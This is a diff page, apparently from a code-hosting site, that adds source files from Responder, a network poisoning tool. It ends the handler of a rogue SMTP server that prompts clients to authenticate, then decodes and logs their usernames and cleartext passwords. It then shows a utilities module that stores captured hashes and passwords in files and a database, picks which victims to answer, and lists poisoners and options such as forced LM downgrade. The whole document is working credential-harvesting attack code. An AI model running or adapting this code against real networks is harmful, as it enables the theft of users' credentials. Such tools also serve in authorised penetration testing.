log.error("Error starting TCP server on port {}: {}".format(port, e))
|
||||
|
||||
#Function name self-explanatory
|
||||
def start(self):
|
||||
log.debug("online")
|
||||
t1 = threading.Thread(name="ESMTP-25", target=self.serve_thread_tcp, args=(25,))
|
||||
t2 = threading.Thread(name="ESMTP-587", target=self.serve_thread_tcp, args=(587,))
|
||||
|
||||
for t in [t1, t2]:
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
|
||||
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
|
||||
|
||||
allow_reuse_address = 1
|
||||
|
||||
def server_bind(self):
|
||||
TCPServer.server_bind(self)
|
||||
|
||||
#ESMTP server class.
|
||||
class ESMTP(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
self.request.send(str(SMTPGreating()))
|
||||
data = self.request.recv(1024)
|
||||
if data[0:4] == "EHLO":
|
||||
self.request.send(str(SMTPAUTH()))
|
||||
data = self.request.recv(1024)
|
||||
if data[0:4] == "AUTH":
|
||||
self.request.send(str(SMTPAUTH1()))
|
||||
data = self.request.recv(1024)
|
||||
if data:
|
||||
Username = b64decode(data[:len(data)-2])
|
||||
self.request.send(str(SMTPAUTH2()))
|
||||
data = self.request.recv(1024)
|
||||
if data:
|
||||
Password = b64decode(data[:len(data)-2])
|
||||
Outfile = "./logs/responder/SMTP-Clear-Text-Password-"+self.client_address[0]+".txt"
|
||||
WriteData(Outfile,Username+":"+Password, Username+":"+Password)
|
||||
#print "[+]SMTP Credentials from %s. User/Pass: %s:%s "%(self.client_address[0],Username,Password)
|
||||
log.info("{} SMTP User: {} Pass:{} ".format(self.client_address[0],Username,Password))
|
||||
|
||||
except Exception as e:
|
||||
log.error("Error handling request: {}".format(e))
|
358
core/responder/utils.py
Normal file
358
core/responder/utils.py
Normal file
|
@ -0,0 +1,358 @@
|
|||
#!/usr/bin/env python
|
||||
# This file is part of Responder
|
||||
# Original work by Laurent Gaffie - Trustwave Holdings
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import os
|
||||
import sys
|
||||
import re
|
||||
import logging
|
||||
import socket
|
||||
import time
|
||||
import settings
|
||||
|
||||
try:
|
||||
import sqlite3
|
||||
except:
|
||||
print "[!] Please install python-sqlite3 extension."
|
||||
sys.exit(0)
|
||||
|
||||
def color(txt, code = 1, modifier = 0):
|
||||
|
||||
if txt.startswith('[*]'):
|
||||
settings.Config.PoisonersLogger.warning(txt)
|
||||
|
||||
elif 'Analyze' in txt:
|
||||
settings.Config.AnalyzeLogger.warning(txt)
|
||||
|
||||
# No colors for windows...
|
||||
if os.name == 'nt':
|
||||
return txt
|
||||
|
||||
return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
|
||||
|
||||
def text(txt):
|
||||
logging.info(txt)
|
||||
|
||||
if os.name == 'nt':
|
||||
return txt
|
||||
|
||||
return '\r'+re.sub(r'\[([^]]*)\]', "\033[1;34m[\\1]\033[0m", txt)
|
||||
|
||||
def RespondToThisIP(ClientIp):
|
||||
|
||||
if ClientIp.startswith('127.0.0.'):
|
||||
return False
|
||||
|
||||
if len(settings.Config.RespondTo) and ClientIp not in settings.Config.RespondTo:
|
||||
return False
|
||||
|
||||
if ClientIp in settings.Config.RespondTo or settings.Config.RespondTo == []:
|
||||
if ClientIp not in settings.Config.DontRespondTo:
|
||||
return True
|
||||
|
||||
return False
|
||||
|
||||
def RespondToThisName(Name):
|
||||
|
||||
if len(settings.Config.RespondToName) and Name.upper() not in settings.Config.RespondToName:
|
||||
return False
|
||||
|
||||
if Name.upper() in settings.Config.RespondToName or settings.Config.RespondToName == []:
|
||||
if Name.upper() not in settings.Config.DontRespondToName:
|
||||
return True
|
||||
|
||||
return False
|
||||
|
||||
def RespondToThisHost(ClientIp, Name):
|
||||
return (RespondToThisIP(ClientIp) and RespondToThisName(Name))
|
||||
|
||||
def IsOsX():
|
||||
return True if settings.Config.Os_version == "darwin" else False
|
||||
|
||||
def OsInterfaceIsSupported():
|
||||
if settings.Config.Interface != "Not set":
|
||||
return False if IsOsX() else True
|
||||
else:
|
||||
return False
|
||||
|
||||
def FindLocalIP(Iface):
|
||||
|
||||
if Iface == 'ALL':
|
||||
return '0.0.0.0'
|
||||
|
||||
try:
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
s.setsockopt(socket.SOL_SOCKET, 25, Iface+'\0')
|
||||
s.connect(("127.0.0.1",9))#RFC 863
|
||||
ret = s.getsockname()[0]
|
||||
s.close()
|
||||
|
||||
return ret
|
||||
|
||||
except socket.error:
|
||||
print color("[!] Error: %s: Interface not found" % Iface, 1)
|
||||
sys.exit(-1)
|
||||
|
||||
# Function used to write captured hashs to a file.
|
||||
def WriteData(outfile, data, user):
|
||||
|
||||
logging.info("[*] Captured Hash: %s" % data)
|
||||
|
||||
if os.path.isfile(outfile) == False:
|
||||
with open(outfile,"w") as outf:
|
||||
outf.write(data)
|
||||
outf.write("\n")
|
||||
outf.close()
|
||||
|
||||
else:
|
||||
with open(outfile,"r") as filestr:
|
||||
if re.search(user.encode('hex'), filestr.read().encode('hex')):
|
||||
filestr.close()
|
||||
return False
|
||||
if re.search(re.escape("$"), user):
|
||||
filestr.close()
|
||||
return False
|
||||
|
||||
with open(outfile,"a") as outf2:
|
||||
outf2.write(data)
|
||||
outf2.write("\n")
|
||||
outf2.close()
|
||||
|
||||
def SaveToDb(result):
|
||||
|
||||
# Creating the DB if it doesn't exist
|
||||
if not os.path.exists(settings.Config.DatabaseFile):
|
||||
cursor = sqlite3.connect(settings.Config.DatabaseFile)
|
||||
cursor.execute('CREATE TABLE responder (timestamp varchar(32), module varchar(16), type varchar(16), client varchar(32), hostname varchar(32), user varchar(32), cleartext varchar(128), hash varchar(512), fullhash varchar(512))')
|
||||
cursor.commit()
|
||||
cursor.close()
|
||||
|
||||
for k in [ 'module', 'type', 'client', 'hostname', 'user', 'cleartext', 'hash', 'fullhash' ]:
|
||||
if not k in result:
|
||||
result[k] = ''
|
||||
|
||||
if len(result['user']) < 2:
|
||||
return
|
||||
|
||||
if len(result['cleartext']):
|
||||
fname = '%s-%s-ClearText-%s.txt' % (result['module'], result['type'], result['client'])
|
||||
else:
|
||||
fname = '%s-%s-%s.txt' % (result['module'], result['type'], result['client'])
|
||||
|
||||
timestamp = time.strftime("%d-%m-%Y %H:%M:%S")
|
||||
logfile = os.path.join('./logs/responder', fname)
|
||||
|
||||
cursor = sqlite3.connect(settings.Config.DatabaseFile)
|
||||
res = cursor.execute("SELECT COUNT(*) AS count FROM responder WHERE module=? AND type=? AND LOWER(user)=LOWER(?)", (result['module'], result['type'], result['user']))
|
||||
(count,) = res.fetchone()
|
||||
|
||||
if count == 0:
|
||||
|
||||
# Write JtR-style hash string to file
|
||||
with open(logfile,"a") as outf:
|
||||
outf.write(result['fullhash'])
|
||||
outf.write("\n")
|
||||
outf.close()
|
||||
|
||||
# Update database
|
||||
cursor.execute("INSERT INTO responder VALUES(?, ?, ?, ?, ?, ?, ?, ?, ?)", (timestamp, result['module'], result['type'], result['client'], result['hostname'], result['user'], result['cleartext'], result['hash'], result['fullhash']))
|
||||
cursor.commit()
|
||||
|
||||
cursor.close()
|
||||
|
||||
# Print output
|
||||
if count == 0 or settings.Config.Verbose:
|
||||
|
||||
if len(result['client']):
|
||||
print text("[%s] %s Client : %s" % (result['module'], result['type'], color(result['client'], 3)))
|
||||
if len(result['hostname']):
|
||||
print text("[%s] %s Hostname : %s" % (result['module'], result['type'], color(result['hostname'], 3)))
|
||||
if len(result['user']):
|
||||
print text("[%s] %s Username : %s" % (result['module'], result['type'], color(result['user'], 3)))
|
||||
|
||||
# Bu order of priority, print cleartext, fullhash, or hash
|
||||
if len(result['cleartext']):
|
||||
print text("[%s] %s Password : %s" % (result['module'], result['type'], color(result['cleartext'], 3)))
|
||||
elif len(result['fullhash']):
|
||||
print text("[%s] %s Hash : %s" % (result['module'], result['type'], color(result['fullhash'], 3)))
|
||||
elif len(result['hash']):
|
||||
print text("[%s] %s Hash : %s" % (result['module'], result['type'], color(result['hash'], 3)))
|
||||
|
||||
else:
|
||||
print color('[*]', 2, 1), 'Skipping previously captured hash for %s' % result['user']
|
||||
|
||||
|
||||
def Parse_IPV6_Addr(data):
|
||||
|
||||
if data[len(data)-4:len(data)][1] =="\x1c":
|
||||
return False
|
||||
|
||||
elif data[len(data)-4:len(data)] == "\x00\x01\x00\x01":
|
||||
return True
|
||||
|
||||
elif data[len(data)-4:len(data)] == "\x00\xff\x00\x01":
|
||||
return True
|
||||
|
||||
else:
|
||||
return False
|
||||
|
||||
def Decode_Name(nbname):
|
||||
#From http://code.google.com/p/dpkt/ with author's permission.
|
||||
try:
|
||||
from string import printable
|
||||
|
||||
if len(nbname) != 32:
|
||||
return nbname
|
||||
|
||||
l = []
|
||||
for i in range(0, 32, 2):
|
||||
l.append(chr(((ord(nbname[i]) - 0x41) << 4) | ((ord(nbname[i+1]) - 0x41) & 0xf)))
|
||||
|
||||
return filter(lambda x: x in printable, ''.join(l).split('\x00', 1)[0].replace(' ', ''))
|
||||
|
||||
except:
|
||||
return "Illegal NetBIOS name"
|
||||
|
||||
def NBT_NS_Role(data):
|
||||
Role = {
|
||||
"\x41\x41\x00":"Workstation/Redirector",
|
||||
"\x42\x4c\x00":"Domain Master Browser",
|
||||
"\x42\x4d\x00":"Domain Controller",
|
||||
"\x42\x4e\x00":"Local Master Browser",
|
||||
"\x42\x4f\x00":"Browser Election",
|
||||
"\x43\x41\x00":"File Server",
|
||||
"\x41\x42\x00":"Browser",
|
||||
}
|
||||
|
||||
return Role[data] if data in Role else "Service not known"
|
||||
|
||||
def banner():
|
||||
|
||||
banner = "\n".join([
|
||||
' __',
|
||||
' .----.-----.-----.-----.-----.-----.--| |.-----.----.',
|
||||
' | _| -__|__ --| _ | _ | | _ || -__| _|',
|
||||
' |__| |_____|_____| __|_____|__|__|_____||_____|__|',
|
||||
' |__|'
|
||||
])
|
||||
|
||||
print banner
|
||||
print "\n \033[1;33mNBT-NS, LLMNR & MDNS %s\033[0m" % settings.__version__
|
||||
print ""
|
||||
print " Original work by Laurent Gaffie (lgaffie@trustwave.com)"
|
||||
print " To kill this script hit CRTL-C"
|
||||
print ""
|
||||
|
||||
def StartupMessage():
|
||||
enabled = color('[ON]', 2, 1)
|
||||
disabled = color('[OFF]', 1, 1)
|
||||
|
||||
print ""
|
||||
print color("[+] ", 2, 1) + "Poisoners:"
|
||||
print ' %-27s' % "LLMNR" + enabled
|
||||
print ' %-27s' % "NBT-NS" + enabled
|
||||
print ' %-27s' % "DNS/MDNS" + enabled
|
||||
print ""
|
||||
|
||||
print color("[+] ", 2, 1) + "Servers:"
|
||||
print ' %-27s' % "HTTP server" + (enabled if settings.Config.HTTP_On_Off else disabled)
|
||||
print ' %-27s' % "HTTPS server" + (enabled if settings.Config.SSL_On_Off else disabled)
|
||||
print ' %-27s' % "WPAD proxy" + (enabled if settings.Config.WPAD_On_Off else disabled)
|
||||
print ' %-27s' % "SMB server" + (enabled if settings.Config.SMB_On_Off else disabled)
|
||||
print ' %-27s' % "Kerberos server" + (enabled if settings.Config.Krb_On_Off else disabled)
|
||||
print ' %-27s' % "SQL server" + (enabled if settings.Config.SQL_On_Off else disabled)
|
||||
print ' %-27s' % "FTP server" + (enabled if settings.Config.FTP_On_Off else disabled)
|
||||
print ' %-27s' % "IMAP server" + (enabled if settings.Config.IMAP_On_Off else disabled)
|
||||
print ' %-27s' % "POP3 server" + (enabled if settings.Config.POP_On_Off else disabled)
|
||||
print ' %-27s' % "SMTP server" + (enabled if settings.Config.SMTP_On_Off else disabled)
|
||||
print ' %-27s' % "DNS server" + (enabled if settings.Config.DNS_On_Off else disabled)
|
||||
print ' %-27s' % "LDAP server" + (enabled if settings.Config.LDAP_On_Off else disabled)
|
||||
print ""
|
||||
|
||||
print color("[+] ", 2, 1) + "HTTP Options:"
|
||||
print ' %-27s' % "Always serving EXE" + (enabled if settings.Config.Serve_Always else disabled)
|
||||
print ' %-27s' % "Serving EXE" + (enabled if settings.Config.Serve_Exe else disabled)
|
||||
print ' %-27s' % "Serving HTML" + (enabled if settings.Config.Serve_Html else disabled)
|
||||
print ' %-27s' % "Upstream Proxy" + (enabled if settings.Config.Upstream_Proxy else disabled)
|
||||
#print ' %-27s' % "WPAD script" + settings.Config.WPAD_Script
|
||||
print ""
|
||||
|
||||
print color("[+] ", 2, 1) + "Poisoning Options:"
|
||||
print ' %-27s' % "Analyze Mode" + (enabled if settings.Config.AnalyzeMode else disabled)
|
||||
print ' %-27s' % "Force WPAD auth" + (enabled if settings.Config.Force_WPAD_Auth else disabled)
|
||||
print ' %-27s' % "Force Basic Auth" + (enabled if settings.Config.Basic else disabled)
|
||||
print ' %-27s' % "Force LM downgrade" + (enabled if settings.Config.LM_On_Off == True else disabled)
|
||||
print ' %-27s' % "Fingerprint hosts" + (enabled if settings.Config.Finger_On_Off == True else disabled)
|
||||
print ""
|
||||
|
||||
print color("[+] ", 2, 1) + "Generic Options:"
|
||||
print ' %-27s' % "Responder NIC" + color('[%s]' % settings.Config.Interface, 5, 1)
|
||||
print ' %-27s' % "Responder IP" + color('[%s]' % settings.Config.Bind_To, 5, 1)
|
||||
print ' %-27s' % "Challenge set" + color('[%s]' % settings.Config.NumChal, 5, 1)
|
||||
|
||||
if settings.Config.Upstream_Proxy:
|
||||
print ' %-27s' % "Upstream Proxy" + color('[%s]' % settings.Config.Upstream_Proxy, 5, 1)
|
||||
|
||||
if len(settings.Config.RespondTo):
|
||||
print ' %-27s' % "Respond To" + color(str(settings.Config.RespondTo), 5, 1)
|
||||
|
||||
if len(settings.Config.RespondToName):
|
||||
print ' %-27s' % "Respond To Names" + color(str(settings.Config.RespondToName), 5, 1)
|
||||
|
||||
if len(settings.Config.DontRespondTo):
|
||||
print ' %-27s' % "Don't Respond To" + color(str(settings.Config.DontRespondTo), 5, 1)
|
||||
|
||||
if len(settings.Config.DontRespondToName):
|
||||
print ' %-27s' % "Don't Respond To Names" + color(str(settings.Config.DontRespondToName), 5, 1)
|
||||
|
||||
print ""
|
||||
print ""
|
||||
|
||||
# Useful for debugging
|
||||
def hexdump(src, l=0x16):
|
||||
res = []
|
||||
sep = '.'
|
||||
src = str(src)
|
||||
|
||||
for i in range(0, len(src), l):
|
||||
s = src[i:i+l]
|
||||
hexa = ''
|
||||
|
||||
for h in range(0,len(s)):
|
||||
if h == l/2:
|
||||
hexa += ' '
|
||||
h = s[h]
|
||||
if not isinstance(h, int):
|
||||
h = ord(h)
|
||||
h = hex(h).replace('0x','')
|
||||
if len(h) == 1:
|
||||
h = '0'+h
|
||||
hexa += h + ' '
|
||||
|
||||
hexa = hexa.strip(' ')
|
||||
text = ''
|
||||
|
||||
for c in s:
|
||||
if not isinstance(c, int):
|
||||
c = ord(c)
|
||||
|
||||
if 0x20 <= c < 0x7F:
|
||||
text += chr(c)
|
||||
else:
|
||||
text += sep
|
||||
|
||||
res.append(('%08X: %-'+str(l*(2+1)+1)+'s |%s|') % (i, hexa, text))
|
||||
|
||||
return '\n'.join(res)
|
Loading…
Add table
Add a link
Reference in a new issue